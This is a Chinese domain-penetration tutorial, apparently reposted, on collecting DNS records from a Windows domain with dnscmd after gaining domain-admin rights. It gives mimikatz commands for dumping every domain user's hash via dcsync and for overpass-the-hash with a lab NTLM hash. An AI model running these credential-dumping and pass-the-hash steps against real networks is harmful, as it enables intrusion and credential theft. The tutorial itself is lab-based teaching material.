域渗透——DNS记录的获取

栏目: 服务器 · 发布时间: 5年前

内容简介:在域渗透中,对域环境的信息搜集很关键,如果我们获得了域内管理员的权限,那么如何能够快速了解域内的网络架构呢?DNS记录无疑是一个很好的参考。本文将要介绍在域渗透中,获取DNS记录的常用方法。本文将要介绍以下内容:

0x00 前言

在域渗透中,对域环境的信息搜集很关键,如果我们获得了域内管理员的权限,那么如何能够快速了解域内的网络架构呢?DNS记录无疑是一个很好的参考。

本文将要介绍在域渗透中,获取DNS记录的常用方法。

0x01 简介

本文将要介绍以下内容:

·通过DNS Manager获取DNS记录

· 通过dnscmd获取DNS记录

· 域内远程读取DNS记录的方法

0x02 通过DNS Manager获取DNS记录

测试系统:

· Windows Server 2008 R2 x64

选择Administrative Tools -> DNS。

在Forward Lookup Zones下找到当前域名,能够显示当前域内的DNS记录,包括主机名和对应的IP。

如下图:

域渗透——DNS记录的获取

0x03 通过dnscmd获取DNS记录

dnscmd:

用来管理DNS服务器的命令行接口,支持远程连接。

默认安装的系统:

· Windows Server 2003

· Windows Server 2008

· Windows Server 2003 R2

· Windows Server 2008 R2

· Windows Server 2012

· Windows Server 2003 with SP1

参考资料:

https://docs.microsoft.com/en-us/previous-versions/windows/it-pro/windows-server-2012-R2-and-2012/cc772069(v=ws.11)

Win7系统在使用时需要安装Remote Server Administration Tools (RSAT)

参考地址:

https://support.microsoft.com/en-us/help/2693643/remote-server-administration-tools-rsat-for-windows-operating-systems

RSAT下载地址:

https://www.microsoft.com/en-us/download/details.aspx?id=7887

测试系统:

· Windows Server 2008 R2 x64

常用命令:

(1)列出DNS区域中当前节点的资源记录:

Dnscmd . /EnumZones

如下图:

域渗透——DNS记录的获取

(2)列出test.com的信息:

Dnscmd . /ZoneInfo test.com

如下图:

域渗透——DNS记录的获取

(3)列举test.com中的记录,方法1(更详细):

Dnscmd . /ZonePrint test.com

如下图:

域渗透——DNS记录的获取

(4)列举testc.com的记录,方法2:

Dnscmd . /EnumRecords test.com .

如下图:

域渗透——DNS记录的获取

结果同DNS Manager获取的记录一致。

0x04 域内远程读取DNS记录的方法

方法分析

前提需要获得域管理员的权限。

第一种方法是先远程连接域控制器,然后在域控制器上执行dnscmd获取DNS记录。

第二种方法是在域内一台主机上面,执行dnscmd远程读取DNS记录。

但是Win7系统默认不支持dnscmd,直接安装Remote Server Administration Tools (RSAT)也不现实。

于是,我尝试寻找在未安装Remote Server Administration Tools (RSAT)的系统上执行dnscmd的方法。

方法测试

向未安装Remote Server Administration Tools (RSAT)的Win7系统上复制一个dnscmd.exe,直接执行,结果失败。

解决方法

通过Process Monitor记录dnscmd的执行过程,查看缺少哪些文件。

如下图:

域渗透——DNS记录的获取

发现缺少文件dnscmd.exe.mui。

补全缺少的文件,再次测试,最终找到解决方法。

在未安装Remote Server Administration Tools (RSAT)的系统上执行dnscmd,需要满足以下条件:

1、dnscmd保存在路径C:\Windows\System32下

2、dnscmd.exe.mui保存在C:\Windows\System32\en-US下(该位置比较通用,也可以在其他位置)

注:dnscmd和dnscmd.exe.mui使用Windows Server 2008 R2下的即可。

这里提供一个测试文件(我从Windows Server 2008 R2下获得的):

https://github.com/3gstudent/test/dnscmd.exe

https://github.com/3gstudent/test/dnscmd.exe.mui

注:

仅供测试。

由于dnscmd在远程连接时,未提供输入用户名和口令的接口,这里需要借助mimikatz的Overpass-the-hash。

首先需要获得域管理员用户的hash,这里只能用ntlm/rc4/aes128/aes256

如果获得了域管理员用户的明文口令,可以先将明文转为ntlm,在线加密的网站:

https://md5decrypt.net/en/Ntlm/

补充:使用dcsync获得域内所有用户hash的方法。

域控制器上执行mimikatz:

mimikatz.exe privilege::debug "lsadump::dcsync /domain:test.local /all /csv exit"

实际测试

测试环境的参数如下:

· 域管理员用户:Administrator

· 口令:DomainAdmin456!

· hash:A55E0720F0041193632A58E007624B40

Overpass-the-hash:

mimikatz.exe privilege::debug "sekurlsa::pth /user:Administrator /domain:test.com /ntlm:A55E0720F0041193632A58E007624B40"

这样会弹出一个cmd.exe

接着使用dnscmd远程连接进行查询:

Dnscmd WIN-F08C969D7FM.test.com /EnumZones

or

Dnscmd WIN-F08C969D7FM /EnumZones

注:这里要使用FQDN或者计算机名。

如下图:

域渗透——DNS记录的获取

如果想在命令行下实现整个流程,可以采用如下方法:

新建c:\test\1.bat,内容如下:

Dnscmd WIN-F08C969D7FM.test.com /EnumZones > c:\test\out.txt

Overpass-the-hash:

mimikatz.exe privilege::debug "sekurlsa::pth /user:Administrator /domain:test.com /ntlm:A55E0720F0041193632A58E007624B40 /run:\"cmd.exe /c c:\test\1.bat\""

注:cmd.exe下"需要使用转义字符\"

0x05 小结

本文介绍了在域内使用Overpass-the-hash实现dnscmd远程读取DNS记录的方法。


以上就是本文的全部内容,希望对大家的学习有所帮助,也希望大家多多支持 码农网

查看所有标签

猜你喜欢:

本站部分资源来源于网络,本站转载出于传递更多信息之目的,版权归原作者或者来源机构所有,如转载稿涉及版权问题,请联系我们

Ethnography and Virtual Worlds

Ethnography and Virtual Worlds

Tom Boellstorff、Bonnie Nardi、Celia Pearce、T. L. Taylor / Princeton University Press / 2012-9-16 / GBP 21.00

"Ethnography and Virtual Worlds" is the only book of its kind - a concise, comprehensive, and practical guide for students, teachers, designers, and scholars interested in using ethnographic methods t......一起来看看 《Ethnography and Virtual Worlds》 这本书的介绍吧!

图片转BASE64编码
图片转BASE64编码

在线图片转Base64编码工具

XML 在线格式化
XML 在线格式化

在线 XML 格式化压缩工具

RGB CMYK 转换工具
RGB CMYK 转换工具

RGB CMYK 互转工具